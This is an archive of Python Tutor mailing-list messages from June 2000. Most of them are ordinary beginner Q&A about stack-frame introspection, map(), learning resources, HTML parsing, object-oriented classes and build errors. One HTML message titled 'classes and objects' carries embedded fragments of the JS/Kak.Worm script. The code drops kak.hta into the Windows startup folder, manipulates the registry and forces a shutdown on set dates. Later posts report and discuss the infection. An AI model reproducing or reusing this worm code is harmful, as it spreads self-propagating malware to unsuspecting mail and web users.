From emile@fenx.com Thu Jun 1 01:40:37 2000 From: emile@fenx.com (Emile van Sebille) Date: Wed, 31 May 2000 17:40:37 -0700 Subject: [Tutor] printing variable name and value? References: Message-ID: <03d501bfcb62$089b6b20$1906a8c0@fc.fenx.com> Gabor, Well, if you *really* don't want to pass locals() or globals() to the function, it looks like this can dig them out. This should find all the names in the scope of the caller that point to the id of the vars passed, and appears to work in idle as well as imported. def showvars(*vars): import sys try: 1/0 except ZeroDivisionError: callers_globals = sys.exc_info()[2].tb_frame.f_back.f_globals callers_locals = sys.exc_info()[2].tb_frame.f_back.f_locals varids=[] for eachvar in vars: varids.append(id(eachvar)) for calling_var_name, calling_var_value in callers_locals.items() + callers_globals.items(): if id(calling_var_value) in varids: print calling_var_name, " = ", calling_var_ showvars(a,b,c) b = 4 c = 6 a = 2 It should probably verify that the variable names found are from the invoking statement. Particularly as: showvars.showvars(a + b) c = 6 See you, Emile van Sebille emile@fenx.com ------------------- ----- Original Message ----- From: Borgulya Gabor To: Emile van Sebille Cc: Python Tutor Sent: Wednesday, May 31, 2000 12:48 PM Subject: Re: [Tutor] printing variable name and value? > Hello, > > I have found a working, but unstable solution for my own question: > > import traceback > def prvar(__x): > print traceback.extract_stack(limit=2)[0][3][6:][:-1],"=",__x > > Lets's test it: > > a=5; b=3 > prvar(a) > prvar(a+b) > for i in range(10,8,-1): > prvar(i) > > The output: > > a = 5 > a+b = 8 > i = 10 > i = 9 > > It works, and I am going to use it for testing my scripts. But in many > cases this method will fail: > prvar (a) # because there is a space between prvar and the '(' > (prvar(a)) # such problems could be solved by cleverer search > # for the parameter in the traceback string > prvar(a);prvar(b) # would confuse the cleverer algorithms too > > Unfortunately, the outcome is unpredictable when running the script from > IDLE. I don't understand, why. > > Yours, > > Gabor > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://www.python.org/mailman/listinfo/tutor > From emile@fenx.com Thu Jun 1 01:46:02 2000 From: emile@fenx.com (Emile van Sebille) Date: Wed, 31 May 2000 17:46:02 -0700 Subject: [Tutor] printing variable name and value? References: <03d501bfcb62$089b6b20$1906a8c0@fc.fenx.com> Message-ID: <03eb01bfcb62$c8d810a0$1906a8c0@fc.fenx.com> Oops, last part of the last line ended up on the cutting room floor as I cut the comments out... s/b def showvars(*vars): import sys try: 1/0 except ZeroDivisionError: callers_globals = sys.exc_info()[2].tb_frame.f_back.f_globals callers_locals = sys.exc_info()[2].tb_frame.f_back.f_locals if id(callers_locals) == id(callers_globals): callers_globals = {} varids=[] for eachvar in vars: varids.append(id(eachvar)) #found, tofind = 0, len(varids) for calling_var_name, calling_var_value in callers_locals.items() + callers_globals.items(): if id(calling_var_value) in varids: print calling_var_name, " = ", calling_var_value #found = found + 1 #if found == tofind: #break Emile van Sebille emile@fenx.com ------------------- From andre@beta.telenordia.se Thu Jun 1 14:24:45 2000 From: andre@beta.telenordia.se (=?iso-8859-1?Q?Andr=E9_Dahlqvist?=) Date: Thu, 1 Jun 2000 15:24:45 +0200 Subject: [Tutor] Converting all elements of a tuple Message-ID: <20000601152445.A1818@beta.telenordia.se> Hi, If I have a tuple that consists of numbers that are represented as strings ('1.1', '1.2', '1.3') is there a simple way of converting all of these elements to their number representation, that is float? For now I use the for loop below for this, but since this must be a pretty common things to do I thought there might be a conversion function. Is there? str_tuple = ('1.1', '1.2', '1.3') lst = [] for element in str_tuple: lst.append(float(element)) -- // André From scarblac@pino.selwerd.nl Thu Jun 1 14:42:23 2000 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 1 Jun 2000 15:42:23 +0200 Subject: [Tutor] Converting all elements of a tuple In-Reply-To: <20000601152445.A1818@beta.telenordia.se>; from andre@beta.telenordia.se on Thu, Jun 01, 2000 at 03:24:45PM +0200 References: <20000601152445.A1818@beta.telenordia.se> Message-ID: <20000601154223.A10219@pino.selwerd.nl> On Thu, Jun 01, 2000 at 03:24:45PM +0200, André Dahlqvist wrote: > If I have a tuple that consists of numbers that are represented as > strings ('1.1', '1.2', '1.3') is there a simple way of converting all > of these elements to their number representation, that is float? > > For now I use the for loop below for this, but since this must be a > pretty common things to do I thought there might be a conversion > function. Is there? > > str_tuple = ('1.1', '1.2', '1.3') > lst = [] > for element in str_tuple: > lst.append(float(element)) This is what map() was made for. Apply a function to all elements of a sequence and return the list of results. str_tuple = ('1.1','1.2','1.3') lst = map(float, str_tuple) -- Remco Gerlich, scarblac@pino.selwerd.nl From spirou@carolo.net Thu Jun 1 17:15:03 2000 From: spirou@carolo.net (Denis =?iso-8859-1?Q?Fr=E8re?=) Date: Thu, 01 Jun 2000 18:15:03 +0200 Subject: [Tutor] remove me References: <000c01b910ba$71c50ca0$73b61b3f@theecoop> Message-ID: <39368C07.CA62CCE3@carolo.net> > theecoop wrote: > > remove me You'd better visit http://www.python.org/mailman/listinfo/tutor At the bottom of the page (Tutor Subscribers), you can edit your subsription (set options like digest and delivery modes, get a reminder of your password, or unsubscribe from Tutor). Should be easy enough. -- Denis Frère P3B : Club Free-Pytho-Linuxien Carolorégien http://www.p3b.org Aragne : Internet - Réseaux - Formations http://www.aragne.com From stix_and_fish@yahoo.com Thu Jun 1 22:11:35 2000 From: stix_and_fish@yahoo.com (Simon Zemek) Date: Thu, 1 Jun 2000 14:11:35 -0700 (PDT) Subject: [Tutor] Hi Message-ID: <20000601211135.13635.qmail@web4901.mail.yahoo.com> Hello, I am new to programing and i was wondering if anyone could help me learn python or give me some tips on where to lean it from. Thanx Simon ===== This has been Stix speaking. Thank you for going out of you time to listen. You probably had something important to do and skiped it to listen to me. I'm not sorry though. I think the e-mails i send are very important. If you don't think so you can complain at 911. If you wish to talk to me pesonaly call at 522-1169. You can also call me if you just want to talk to me which I don't know why you would but you can. Well, Bye __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From parkw@better.net Thu Jun 1 22:29:07 2000 From: parkw@better.net (William Park) Date: Thu, 1 Jun 2000 17:29:07 -0400 Subject: [Tutor] Hi In-Reply-To: <20000601211135.13635.qmail@web4901.mail.yahoo.com>; from stix_and_fish@yahoo.com on Thu, Jun 01, 2000 at 02:11:35PM -0700 References: <20000601211135.13635.qmail@web4901.mail.yahoo.com> Message-ID: <20000601172907.A942@better.net> On Thu, Jun 01, 2000 at 02:11:35PM -0700, Simon Zemek wrote: > Hello, > > I am new to programing and i was wondering if anyone > could help me learn python or give me some tips on > where to lean it from. > > Thanx > Simon The best starting point is online tutorial at http://www.python.org/doc/current/tut/tut.html --William From scarblac@pino.selwerd.nl Thu Jun 1 23:05:48 2000 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Fri, 2 Jun 2000 00:05:48 +0200 Subject: [Tutor] Hi In-Reply-To: <20000601172907.A942@better.net>; from parkw@better.net on Thu, Jun 01, 2000 at 05:29:07PM -0400 References: <20000601211135.13635.qmail@web4901.mail.yahoo.com> <20000601172907.A942@better.net> Message-ID: <20000602000548.A10675@pino.selwerd.nl> On Thu, Jun 01, 2000 at 05:29:07PM -0400, William Park wrote: > On Thu, Jun 01, 2000 at 02:11:35PM -0700, Simon Zemek wrote: > > Hello, > > > > I am new to programing and i was wondering if anyone > > could help me learn python or give me some tips on > > where to lean it from. > > > > Thanx > > Simon > > The best starting point is online tutorial at > http://www.python.org/doc/current/tut/tut.html Actually, I think that that tutorial is not the best option for someone who is completely new to programming; it expects some experience. However, on http://www.python.org/doc/Intros.html , there are some links to introductions for non-programmers. Look at those. If you have any questions you can't find the answer to while going through those tutorials, just ask here. -- Remco Gerlich, scarblac@pino.selwerd.nl From jcm@bigskytel.com Thu Jun 1 23:51:51 2000 From: jcm@bigskytel.com (David Porter) Date: Thu, 1 Jun 2000 16:51:51 -0600 Subject: [Tutor] Hi In-Reply-To: <20000601211135.13635.qmail@web4901.mail.yahoo.com>; from stix_and_fish@yahoo.com on Thu, Jun 01, 2000 at 02:11:35PM -0700 References: <20000601211135.13635.qmail@web4901.mail.yahoo.com> Message-ID: <20000601165151.A5512@bigskytel.com> * Simon Zemek : > > I am new to programing and i was wondering if anyone > could help me learn python or give me some tips on > where to lean it from. > http://www.python.org/doc/Intros.html Scroll down to the header: "Introductions to Python programming for non-programmers". david. From genius@idirect.com Fri Jun 2 00:04:12 2000 From: genius@idirect.com (Charles Takacs) Date: Thu, 1 Jun 2000 19:04:12 -0400 Subject: [Tutor] Hi Message-ID: <003201bfcc1d$b421dfe0$61019ad8@charlest> Hi Simon :-) If you are new to Programming then In addition to the Tutorials found on Python's Home Page you should get as the 1st. choice "Teach Yourself Python in 24hrs". It was just Published a few weeks ago and I bought it right away. "Learning Python" is also a very good book, but as a Newbie I found it quite overwhealming, to the point, that I almost stopped learning Python. On the other hand; I am very happy that I bought the "Teach Yourself Python in 24hrs". I find it considerable easier to comprehend the concepts, etc. You can read the book online at the following: http://www.pauahtun.org/TYPython/ Check it out, then buy it. You won't be sorry. Best regards Snoopy :-) -----Original Message----- From: Simon Zemek To: tutor@python.org Date: Thursday, June 01, 2000 5:08 PM Subject: [Tutor] Hi >Hello, > >I am new to programing and i was wondering if anyone >could help me learn python or give me some tips on >where to lean it from. > >Thanx > Simon > >===== >This has been Stix speaking. Thank you for going out of you time >to listen. You probably had something important to do and >skiped it to listen to me. I'm not sorry though. I think the >e-mails i send are very important. If you don't think so you >can complain at 911. If you wish to talk to me pesonaly call >at 522-1169. You can also call me if you just want to talk >to me which I don't know why you would but you can. Well, Bye > >__________________________________________________ >Do You Yahoo!? >Send instant messages & get email alerts with Yahoo! Messenger. >http://im.yahoo.com/ > >_______________________________________________ >Tutor maillist - Tutor@python.org >http://www.python.org/mailman/listinfo/tutor From stix_and_fish@yahoo.com Fri Jun 2 00:38:45 2000 From: stix_and_fish@yahoo.com (Simon Zemek) Date: Thu, 1 Jun 2000 16:38:45 -0700 (PDT) Subject: [Tutor] (no subject) Message-ID: <20000601233845.16980.qmail@web4901.mail.yahoo.com> I would like to thank everyone who helped me get started programing. I was wondering if anyone could lets me see a program someone could let me have a sample program so i could see what u can really do with python Thanx again Simon ===== This has been Stix speaking. Thank you for going out of you time to listen. You probably had something important to do and skiped it to listen to me. I'm not sorry though. I think the e-mails i send are very important. If you don't think so you can complain at 911. If you wish to talk to me pesonaly call at 522-1169. You can also call me if you just want to talk to me which I don't know why you would but you can. Well, Bye __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From jcm@bigskytel.com Fri Jun 2 09:02:31 2000 From: jcm@bigskytel.com (David Porter) Date: Fri, 2 Jun 2000 02:02:31 -0600 Subject: [Tutor] Hi In-Reply-To: <003201bfcc1d$b421dfe0$61019ad8@charlest>; from genius@idirect.com on Thu, Jun 01, 2000 at 07:04:12PM -0400 References: <003201bfcc1d$b421dfe0$61019ad8@charlest> Message-ID: <20000602020231.A8705@bigskytel.com> * Charles Takacs : > > You can read the book online at the following: > > http://www.pauahtun.org/TYPython/ Don't you mean that you can read about the book? I couldn't locate anything beyond blurbs and sample programs. No text from the book was there except for a portion of the introduction. david. From speaker1@mindspring.com Fri Jun 2 13:23:47 2000 From: speaker1@mindspring.com (Darrell Nobles) Date: Fri, 2 Jun 2000 08:23:47 -0400 Subject: [Tutor] Sign Me Up Message-ID: <002301bfcc8d$672b28c0$fd4c56d1@den> This is a multi-part message in MIME format. ------=_NextPart_000_0020_01BFCC6B.DFA40AA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Send me mail ------=_NextPart_000_0020_01BFCC6B.DFA40AA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Send me mail
------=_NextPart_000_0020_01BFCC6B.DFA40AA0-- From tf@malcolmsmith.net Sat Jun 3 15:05:42 2000 From: tf@malcolmsmith.net (tf@malcolmsmith.net) Date: Sat, 3 Jun 2000 09:05:42 -0500 Subject: [Tutor] a strategy for learning Message-ID: <20000603090542.A451@malcolmsmith.net> Howdy guys, I have a task for python, but I don't know python yet. Seems like this may be a good way to learn. can someone give me a list of steps to take? I have a directory full of html files, named by number (1.html, 2.html, etc). I want to create a page of links to each of them based on the text surrounded by the second set of

tags in each file. This sound reasonable? -- -Tom From scarblac@pino.selwerd.nl Sat Jun 3 15:27:05 2000 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Sat, 3 Jun 2000 16:27:05 +0200 Subject: [Tutor] a strategy for learning In-Reply-To: <20000603090542.A451@malcolmsmith.net>; from tf@malcolmsmith.net on Sat, Jun 03, 2000 at 09:05:42AM -0500 References: <20000603090542.A451@malcolmsmith.net> Message-ID: <20000603162705.A12749@pino.selwerd.nl> On Sat, Jun 03, 2000 at 09:05:42AM -0500, tf@malcolmsmith.net wrote: > I have a task for python, but I don't know python yet. Seems like > this may be a good way to learn. can someone give me a list of steps > to take? > > I have a directory full of html files, named by number (1.html, > 2.html, etc). I want to create a page of links to each of them > based on the text surrounded by the second set of

tags in each > file. > > This sound reasonable? It's reasonable, but it depends a bit on how "nice" the html files are. As long as they're simple enough to do a simple text search for "

", it's not so hard. If there's a chance of stuff like '' or '= ');t3.close();fs.GetFile(wd+'kak.htm').Attribut= es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 = && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today = !');wsh.Run(wd+'RUNDLL32.EXE = user.exe,exitwindows');}self.close();S3 driver memory alloc = failed   = !]]%%%%%WW";la=3D(navigator.systemLanguage)?navigator= .systemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows= \\Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start = Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()= ;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a= gt.indexOf("msie 5.")!=3D-1))scr.write(); //--> ------=_NextPart_000_0005_01BFDF0A.6E9097A0-- From ANTIGEN_MARS@mars.otago.ac.nz Mon Jun 26 06:10:09 2000 From: ANTIGEN_MARS@mars.otago.ac.nz (ANTIGEN_MARS) Date: Mon, 26 Jun 2000 17:10:09 +1200 Subject: [Tutor] Antigen found JS/Kak.Worm virus Message-ID: Antigen for Exchange found Unknown infected with JS/Kak.Worm virus. The file is currently Deleted. The message, "[Tutor] classes and objects", was sent from geoffrey bays and was discovered in IMC Queues\Inbound located at University of Otago/COMMERCE/MARS. If you have any questions regarding this message please contact: Neil Dobier Systems Support Specialist Commerce Division University of Otago P.O.Box 56 Crn Clyde & Union Street Dunedin New Zealand Phone: 64 3 479 8996 Mobile: 021674968 Fax: 64 3 479 8171 From wardon@xtra.co.nz Mon Jun 26 08:01:23 2000 From: wardon@xtra.co.nz (Warren Doney) Date: Mon, 26 Jun 2000 19:01:23 +1200 Subject: **VIRUS** [Tutor] classes and objects References: <000801bfdf45$1b974860$212356d1@computer> Message-ID: <3956FFC3.6646978@xtra.co.nz> Geoffry, Your post to the list has a nasty little script embedded in it (JS/Kak.Worm virus). To see it, open it with your favorite browser & select "view sorce". I suggest you run a full anti-virus scan ASAP & turn off html formatting in Outlook Express. -- Full plate & packing steel! - Minsk From dyoo@hkn.EECS.Berkeley.EDU Mon Jun 26 08:19:24 2000 From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo) Date: Mon, 26 Jun 2000 00:19:24 -0700 (PDT) Subject: [Tutor] classes and objects In-Reply-To: <000801bfdf45$1b974860$212356d1@computer> Message-ID: On Mon, 26 Jun 2000, geoffrey bays wrote: > I'm new to programming, and plowing through Learning Python by Lutz > and Ascher. Much of it is understandable with some effort, but the > chapter on classes and object oriented programming is a forty-page > tour-de-force that leaves me breathless and babbling! Alan Gault's > Python tutorial fro beginners has some reasonably digestable examples. > Any other sources for examples, exercises for Python OOP? I'm also > looking for easy, clear guidance on CGI programming with Python. To address your second question, there's a particularly nice tutorial on Python and CGI at: http://www.devshed.com/Server_Side/Python/CGI/ and there are many other links on CGI programming at: http://www.python.org/topics/web/basic-cgi.html For your first question about OOP, I haven't found a link to an OOP tutorial with Python yet. (Most likely, I'm not looking hard enough.) However, OOP isn't too hard. OOP is a way of structuring programs that emphasize the construction of agents. The example that I remember, when I learned OOP, was that of bank accounts. I hope the original author forgives me for paraphrasing the example. I'll try to recount it here. Warning: this is slightly long. Imagine that we want to be able to work with bank accounts. Specifically, we want to associate with a bank account a 'name' and a 'balance'. With the techniques we know right now, we can do this with a hashtable. ### myaccount = {'name' : 'My Account', 'balance' : 100} ### Our accounts will have this sort of regular structure. It might be easier to make a function that constructs these hash tables, just so that the programmer doesn't have to type so much. ### def makeAccount(name, balance): return {'name' : name, 'balance' : balance} ### Of course, this is just for convenience's sake. Now that we have an 'account', we'd like to do certain things with it. For example, we'd like to be able to deposit and withdraw amounts from the account. We _could_ just directly modify our hash, but we want to make things more understandable, so that anyone who reads our code knows exactly what we're doing and why. ### def deposit(account, amount): account['balance'] = account['balance'] + amount def withdraw(account, amount): account['balance'] = account['balance'] - amount ### And, of course, we'd like a way to summarize what our account has: ### def summary(account): return "'%s' contains %s" % (account['name'], account['balance']) ### Fairly simple stuff. Then, we'd be able to use it like this: ### myaccount = makeAccount('My Wonderfully Woeful Account', 0) deposit(myaccount, 500) withdraw(myaccount, 300) print summary(myaccount) ### Let's notice what sort of stuff we're doing with these accounts. Almost every function that we've written so far appears to take in an account as an argument, and manipulates it in some way. The only exception, makeAccount, could be amended to fit this pattern by passing in an empty hash to be initialized as an 'account': ### def initAccount(account, name, balance): account['name'] = name account['balance'] = balance ### That takes care of that. Then we could use this as follows: ### myaccount = {} initAccount(myaccount, 'My whimsical deposit box', 25) ### If we wanted to expand the functionality of this, we might add a few more functions to gradually refine what sort of operations we can do with these accounts. In this case, we could think of an account as not just a hashtable anymore, but as a type of 'thing', which has defined functions that you can do to it. It's as if we were saying something like, "Ok, account, withdraw money from yourself." "Ok, account, now summarize yourself." It's this view that characterizes OOP programming! In OOP, we try to structure our programs so that our system is filled with these things, these objects, that we can command at our bidding. If you've done anything with I/O, you might already be familiar with the 'file' object. Whenever we open a file, what Python's doing is returning an initialized file object. ### myfile = open("temp.txt") ### and as a file object, it has specific functions that act on it. In languages that don't directly support OOP, it would look something like: ### Warning, not python *** close(myfile) ### instead of the familiar pythonisque: ### myfile.close() ### To continue with that account example, we want to be able to say things like: ### myaccount.deposit(10) myaccount.withdraw(42) ### and we want to be able to see exactly what sort of operations accounts can support with: ### dir(myaccount) ### In languages that don't directly support OOP, this is a bit hard, because there's really no tight bonding that connect that hashtable with the set of functions that work with it. Who knows --- what if 'deposit()' was meant to be used in a mail-dropping program, and not a financial program? Yes, we can write the two in the same file, true, and this has worked in non-OOP languages pretty well. However, OOP languages make this binding more explicit, and this seems to aid people in the design of OOP programs. So how does the notion of an account look like in OOP'ish python? Here goes: ### class Account: def __init__(self, name, balance): self.name = name self.balance = balance def withdraw(self, amount): self.balance = self.balance - amount def deposit(self, amount): self.balance = self.balance + amount def summary(self): return "'%s contains %s" % (self.name, self.balance) ### As you can see, it's pretty much the same stuff as above. It is, admittedly, shorter, but that's just a matter of syntax. What's pretty nice about this is that it enforces a few constraints on how withdraw(), deposit(), and summary() are used --- there is no ambiguity that these functions are meant to be used with accounts now, since they're wrapped inside an "Account". How do we use this, then? Here's an example: ### x = Account('My classy account', 1000) print x.summary() x.withdraw(1000) print x.summary() ### Plus, we have the added benefit of allowing people to look at the functions associated with the class with dir(): ### >>> dir(Account) ['__doc__', '__init__', '__module__', 'deposit', 'summary', 'withdraw'] ### Still, this doesn't disguise the fact that, beneath this all, that hashtable is in there somewhere: ### >>> dir(myaccount) ['balance', 'name'] ### I hope this gives you a taste of what OOP is about. I know I rushed things a bit though, so if you have any questions on this, feel free to ask again for clarification. I have not even touched other aspects of OOP, such as inheritence or polymorphism, that are possible because of this restructuring of data and functions. However, this conception of programming as designing classes is at the heart of OOP. From tuckerg@acm.org Mon Jun 26 14:14:59 2000 From: tuckerg@acm.org (Gregory Tucker) Date: Mon, 26 Jun 2000 22:14:59 +0900 Subject: [Tutor] classes and objects References: <000801bfdf45$1b974860$212356d1@computer> Message-ID: <39575753.5077E42@acm.org> Hi, I am also going through Learning Python, though I haven't yet gotten to that chapter. In the book "Sams Teach Yourself Python in 24 Hours", the whole of section 2, consisting of 8 chapters (135 pages), is given to OO concepts. You may find this easier to digest. I am also interested "easy, clear guidance on CGI programming with Python." Please summarize anything you come across. I have built one simple form (from 24 Hours), but I have lots of unresolved questions. How persistent is the connection. How does it handle multi-users. Etc. According to one source, the definitive work on CGI programming is "CGI Programming with Perl, 2nd Edition". Unfortunately it is not Python. Regards, Greg ---- Original Message ---- I'm new to programming, and plowing through Learning Python by Lutz and Ascher. Much of it is understandable with some effort, but the chapter on classes and object oriented programming is a forty-page tour-de-force that leaves me breathless and babbling! Alan Gault's Python tutorial fro beginners has some reasonably digestable examples. Any other sources for examples, exercises for Python OOP? I'm also looking for easy, clear guidance on CGI programming with Python. Thanks, Geoffrey -- .---. .---. .--- .---. | Gregory Tucker, Tokyo, Japan |---. | |-< >--- |---. | `---' `-'`-'`--- `---' | "Our Father, who art in Redmond, My opinions are my own. | William by thy name..." From Huang John 810-575-1934 Mon Jun 26 19:05:27 2000 From: Huang John 810-575-1934 (Huang John 810-575-1934) Date: Mon, 26 Jun 2000 14:05:27 -0400 (EDT) Subject: [Tutor] Installation problem of python1.5.2 Message-ID: <200006261807.OAA10413@wnmcdik0> Hi, Guys I tried to install python in SunOS5.7 but failed. After configuration, I typed make, I got some errors: ....... /usr/include/sys/siginfo.h:74: parse error before `pthread_attr_t' /usr/include/sys/siginfo.h:74: warning: no semicolon at end of struct or union /usr/include/sys/siginfo.h:76: parse error before `}' intrcheck.c: In function `intcatcher': intrcheck.c:190: warning: passing arg 2 of `signal' from incompatible pointer type intrcheck.c: At top level: intrcheck.c:194: warning: initialization from incompatible pointer type intrcheck.c: In function `PyOS_InitInterrupts': intrcheck.c:199: warning: assignment from incompatible pointer type intrcheck.c:199: warning: comparison of distinct pointer types lacks a cast intrcheck.c:200: warning: passing arg 2 of `signal' from incompatible pointer type intrcheck.c: In function `PyOS_FiniInterrupts': intrcheck.c:215: warning: passing arg 2 of `signal' from incompatible pointer type make[1]: *** [intrcheck.o] Error 1 make[1]: Leaving directory `/home/jzd3v8/Python-1.5.2/Parser' make: *** [Parser] Error 2 Could any on tell me what's wrong and how to fix it? Thanks! Jun From Steven Gilmore" I realize this has nothing to do with learning Python but... I just joined tutor and five or six messages later one of those worms, that have been prevalent lately, is in my inbox! Now I know it probably wasn't on purpose but I wanted to know if this happens often on this list. Luckily I have been vigilant enough to have updated DAT files and the latest security fixes or all of not-so-tech savvy friends would be getting a not so harmless chain-letter. Excuse me for ranting, I won't make a habit of it =) Steven Gilmore From dyoo@hkn.EECS.Berkeley.EDU Mon Jun 26 22:27:07 2000 From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo) Date: Mon, 26 Jun 2000 14:27:07 -0700 (PDT) Subject: [Tutor] *virus* JS/KAK worm! This doesn't happen often? In-Reply-To: <001e01bfdf9c$e39be440$e273f4d1@srgilmor> Message-ID: On Mon, 26 Jun 2000, Steven Gilmore wrote: > I realize this has nothing to do with learning Python but... I just joined > tutor and five or six messages later one of those worms, that have been > prevalent lately, is in my inbox! Now I know it probably wasn't on purpose > but I wanted to know if this happens often on this list. Luckily I have > been vigilant enough to have updated DAT files and the latest security fixes > or all of not-so-tech savvy friends would be getting a not so harmless > chain-letter. Excuse me for ranting, I won't make a habit of it =) This is actually new to me --- I've rarely seen macro viruses on tutor@python.org. I think this is an exceptional case, and should be treated as such. From jcm@bigskytel.com Tue Jun 27 00:58:19 2000 From: jcm@bigskytel.com (David Porter) Date: Mon, 26 Jun 2000 17:58:19 -0600 Subject: [Tutor] *virus* JS/KAK worm! This doesn't happen often? In-Reply-To: ; from dyoo@hkn.EECS.Berkeley.EDU on Mon, Jun 26, 2000 at 02:27:07PM -0700 References: <001e01bfdf9c$e39be440$e273f4d1@srgilmor> Message-ID: <20000626175819.A16261@novara.avenue> * Daniel Yoo : > On Mon, 26 Jun 2000, Steven Gilmore wrote: > > > I realize this has nothing to do with learning Python but... I just joined > > tutor and five or six messages later one of those worms, that have been > > prevalent lately, is in my inbox! Now I know it probably wasn't on purpose > > but I wanted to know if this happens often on this list. Luckily I have > > been vigilant enough to have updated DAT files and the latest security fixes > > or all of not-so-tech savvy friends would be getting a not so harmless > > chain-letter. Excuse me for ranting, I won't make a habit of it =) > > This is actually new to me --- I've rarely seen macro viruses on > tutor@python.org. I think this is an exceptional case, and should be > treated as such. In the last week I have recieved several viruses from mailing lists. Literally, four other mailing lists, making this the fifth. This is the first from tutor that I have seen though. The four other lists were all Linux-specific, so you can imagine that they really get around. david. From spirou@aragne.com Tue Jun 27 00:36:58 2000 From: spirou@aragne.com (Denis =?iso-8859-1?Q?Fr=E8re?=) Date: Tue, 27 Jun 2000 01:36:58 +0200 Subject: [Tutor] *virus* JS/KAK worm! This doesn't happen often? References: <001e01bfdf9c$e39be440$e273f4d1@srgilmor> Message-ID: <3957E91A.983BA1D3@aragne.com> Steven Gilmore wrote: > > I realize this has nothing to do with learning Python but... Nothing, indeed. > I just joined tutor and five or six messages later one of those > worms, that have been prevalent lately, is in my inbox! > Now I know it probably wasn't on purpose It is. It's a strange initiation rite for all of you rookies. And the worse is creeping up on you ... :-))) Stop kidding ! > but I wanted to know if this happens often on this list. Yes, that's why we all here wear a strange latex suit with a big helmet and a cloak. (The cloak is not mandatory, but that's prettier). Read the archives and count :-))))))) > Luckily I have been vigilant enough to have updated DAT files > and the latest security fixes We're all very glad for you. > or all of not-so-tech savvy friends would be getting a not so > harmless chain-letter. Tell them to try the GNU. > Excuse me for ranting, I won't make a habit of it =) Do _you_ excuse me ? ;-) -- Denis Frère P3B : Club Free-Pytho-Linuxien Carolorégien http://www.p3b.org Aragne : Internet - Réseaux - Formations http://www.aragne.com From wmperry@903internet.com Tue Jun 27 04:51:42 2000 From: wmperry@903internet.com (William Perry) Date: Mon, 26 Jun 2000 22:51:42 -0500 Subject: [Tutor] Function output In-Reply-To: <200006250103370980.067053A9@www.903internet.com> References: <200006250103370980.067053A9@www.903internet.com> Message-ID: <200006262251420170.013A9981@www.903internet.com> --=====_96207790241=_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable First I need to thank everyone for taking time to answer, I'm alittle= embarrested to admit that the terminology I used in the original question= was incorrect. What I'm actually trying to do is get method output from a= class. ( Thanks to the first set of answers I have the functions operating= correctly as functions) I think that the suggestion of including the= problem code is the best way to ' re-ask'. And again thanks for the help. From Idle screen: >>> class rollum: def funct1 (self): s =3D " Hello World" return s def output (self): a =3D funct1() return a >>> rollum.output() Traceback (innermost last): File "", line 1, in ? rollum.output() TypeError: unbound method must be called with class instance 1st argument >>> class rollum: def funct1 (self): s =3D " Hello World" return s def output (self): a =3D funct1() return a def printer (self): print self.output() >>> rollum.printer() Traceback (innermost last): File "", line 1, in ? rollum.printer() TypeError: unbound method must be called with class instance 1st argument *********** REPLY SEPARATOR *********** On 6/25/00 at 1:03 AM william wrote: I guess I missed something fundamental in programming because I don't seem= to find any references for this. A little background, I'm complete novice at programing with Python as my= first language. (well a little Basic back in the 70's) I'm running Python= on Windows 95 and I've been reading "Learning Python" , "Teach yourself= Python in 24 hrs" and just about anything else I can find. The problem I'm having is how to get output from the functions in a module= to the screen. I wanted to try writing something other than the book= exercises to get a better feel for the process, I wrote a function that= generated a random number and a second function that used that number to= select from a list. When I type them in in the interactive prompt in Idle= they do exactly that but when I place them in a module and save. They= refuse to output to the screen either in Idle or from the DOS prompt. I've= been working at this for several weeks and the error message(s) change= depending on what I try, including no error message and no output. I added= a test print message at the end and it does print so It appears to be that= the function output isn't being captured or read. I'm less concerned with making this work than in why it won't and where I= should be looking to find answers. W M Perry --=====_96207790241=_ Content-Type: text/html; charset="us-ascii"
First I need to thank everyone for taking time to answer, I'm alittle embarrested to admit that the terminology I used in the original question was incorrect. What I'm actually trying to do is get method output from a class. ( Thanks to the first set of answers I have the functions operating correctly as functions) I think that the suggestion of including the problem code is the best way to ' re-ask'. And again thanks for the help.
 
From Idle screen:
 
 
>>> class rollum:
 def funct1 (self):
  s = " Hello World"
  return s
 def output (self):
  a = funct1()
  return a
 
 
>>> rollum.output()
Traceback (innermost last):
  File "<pyshell#42>", line 1, in ?
    rollum.output()
TypeError: unbound method must be called with class instance 1st argument

>>> class rollum:
 def funct1 (self):
  s = " Hello World"
  return s
 def output (self):
  a = funct1()
  return a
 def printer (self):
  print self.output()
  
  
>>> rollum.printer()
Traceback (innermost last):
  File "<pyshell#47>", line 1, in ?
    rollum.printer()
TypeError: unbound method must be called with class instance 1st argument

*********** REPLY SEPARATOR ***********

On 6/25/00 at 1:03 AM william wrote:
I guess I missed something fundamental in programming because I don't seem to find any references for this.
 
 A little background, I'm complete novice at programing with Python  as my first language. (well a little Basic back in the 70's) I'm running Python on Windows 95 and I've been reading "Learning Python" , "Teach yourself Python in 24 hrs" and just about anything else I can find.
 
 The problem I'm having is how to get output from the functions in a module to the screen. I wanted to try writing something other than the book exercises to get a better feel for the process, I wrote a function that generated a random number and a second function that used that number to select from a list. When I type them in in the interactive prompt in Idle they do exactly that but when I place them in a module and save. They refuse to output to the screen either in Idle or from the DOS prompt. I've been working at this for several weeks and the error message(s) change depending on what I try, including no error message and no output. I added a test print message at the end and it does print so It appears to be that the function output isn't being captured or read. 
I'm less concerned with making this work than in why it won't and where I should be looking to find answers.
 
W M Perry
 
